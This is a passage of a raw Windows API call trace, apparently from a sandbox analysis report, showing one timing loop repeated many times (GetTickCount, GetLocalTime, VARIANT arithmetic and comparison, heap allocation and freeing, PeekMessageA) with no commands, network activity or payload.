CoFreeUnusedLibraries () [0180.802] GetTickCount () returned 0x115ddc2 [0180.802] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.802] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.802] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.802] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.802] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.803] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.803] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.803] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.803] CoFreeUnusedLibraries () [0180.803] GetTickCount () returned 0x115ddc2 [0180.803] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.803] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.803] CoFreeUnusedLibraries () [0180.803] GetTickCount () returned 0x115ddc2 [0180.803] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.803] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.803] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.803] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.803] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.804] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.804] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.804] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.804] CoFreeUnusedLibraries () [0180.804] GetTickCount () returned 0x115ddc2 [0180.804] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.804] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.804] CoFreeUnusedLibraries () [0180.804] GetTickCount () returned 0x115ddc2 [0180.804] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.804] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.804] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.804] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.804] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.804] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.804] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.805] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.805] CoFreeUnusedLibraries () [0180.805] GetTickCount () returned 0x115ddc2 [0180.805] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.805] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.805] CoFreeUnusedLibraries () [0180.805] GetTickCount () returned 0x115ddc2 [0180.805] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.805] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.805] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.805] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.805] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.805] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.805] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.805] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.806] CoFreeUnusedLibraries () [0180.806] GetTickCount () returned 0x115ddc2 [0180.806] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.806] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.806] CoFreeUnusedLibraries () [0180.806] GetTickCount () returned 0x115ddc2 [0180.806] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.806] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.806] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.806] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.806] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.806] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.806] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.806] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.807] CoFreeUnusedLibraries () [0180.807] GetTickCount () returned 0x115ddc2 [0180.807] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.807] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.807] CoFreeUnusedLibraries () [0180.807] GetTickCount () returned 0x115ddc2 [0180.807] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.807] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.807] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.807] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.807] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.807] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.807] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.807] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.808] CoFreeUnusedLibraries () [0180.808] GetTickCount () returned 0x115ddc2 [0180.808] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.808] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.808] CoFreeUnusedLibraries () [0180.808] GetTickCount () returned 0x115ddc2 [0180.808] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.808] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.808] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.808] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.808] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.808] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.808] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.808] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.808] CoFreeUnusedLibraries () [0180.808] GetTickCount () returned 0x115ddc2 [0180.809] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.809] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.809] CoFreeUnusedLibraries () [0180.809] GetTickCount () returned 0x115ddc2 [0180.809] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.809] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.809] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.809] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.809] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.809] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.809] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.809] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.809] CoFreeUnusedLibraries () [0180.809] GetTickCount () returned 0x115ddc2 [0180.810] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.810] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.810] CoFreeUnusedLibraries () [0180.810] GetTickCount () returned 0x115ddc2 [0180.810] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.810] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.810] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.810] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.810] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.810] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.810] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.810] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.810] CoFreeUnusedLibraries () [0180.811] GetTickCount () returned 0x115ddc2 [0180.811] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.811] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.811] CoFreeUnusedLibraries () [0180.811] GetTickCount () returned 0x115ddc2 [0180.811] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.811] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.811] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.811] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.811] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.811] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.811] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.811] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.811] CoFreeUnusedLibraries () [0180.811] GetTickCount () returned 0x115ddc2 [0180.811] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.812] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.812] CoFreeUnusedLibraries () [0180.812] GetTickCount () returned 0x115ddc2 [0180.812] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x28f)) [0180.812] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.812] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.812] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.812] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.812] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.812] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.812] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.813] CoFreeUnusedLibraries () [0180.813] GetTickCount () returned 0x115ddd2 [0180.813] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.813] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.813] CoFreeUnusedLibraries () [0180.813] GetTickCount () returned 0x115ddd2 [0180.813] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.813] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.813] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.813] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.813] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.813] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.814] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.814] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.814] CoFreeUnusedLibraries () [0180.814] GetTickCount () returned 0x115ddd2 [0180.814] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.814] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.814] CoFreeUnusedLibraries () [0180.814] GetTickCount () returned 0x115ddd2 [0180.814] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.814] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.814] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.814] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.814] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.815] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.815] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.815] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.815] CoFreeUnusedLibraries () [0180.815] GetTickCount () returned 0x115ddd2 [0180.815] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.815] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.815] CoFreeUnusedLibraries () [0180.815] GetTickCount () returned 0x115ddd2 [0180.815] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.815] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.815] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.815] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.815] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.816] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.816] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.816] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.816] CoFreeUnusedLibraries () [0180.816] GetTickCount () returned 0x115ddd2 [0180.816] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.816] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.816] CoFreeUnusedLibraries () [0180.816] GetTickCount () returned 0x115ddd2 [0180.816] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.816] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.816] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.816] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.817] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.817] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.817] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.817] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.817] CoFreeUnusedLibraries () [0180.817] GetTickCount () returned 0x115ddd2 [0180.817] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.817] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.817] CoFreeUnusedLibraries () [0180.817] GetTickCount () returned 0x115ddd2 [0180.817] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.817] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.817] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.817] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.818] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.818] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.818] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.818] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.818] CoFreeUnusedLibraries () [0180.818] GetTickCount () returned 0x115ddd2 [0180.818] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.818] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.818] CoFreeUnusedLibraries () [0180.818] GetTickCount () returned 0x115ddd2 [0180.818] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x29e)) [0180.819] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.819] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.819] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.819] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.819] RtlAllocateHeap 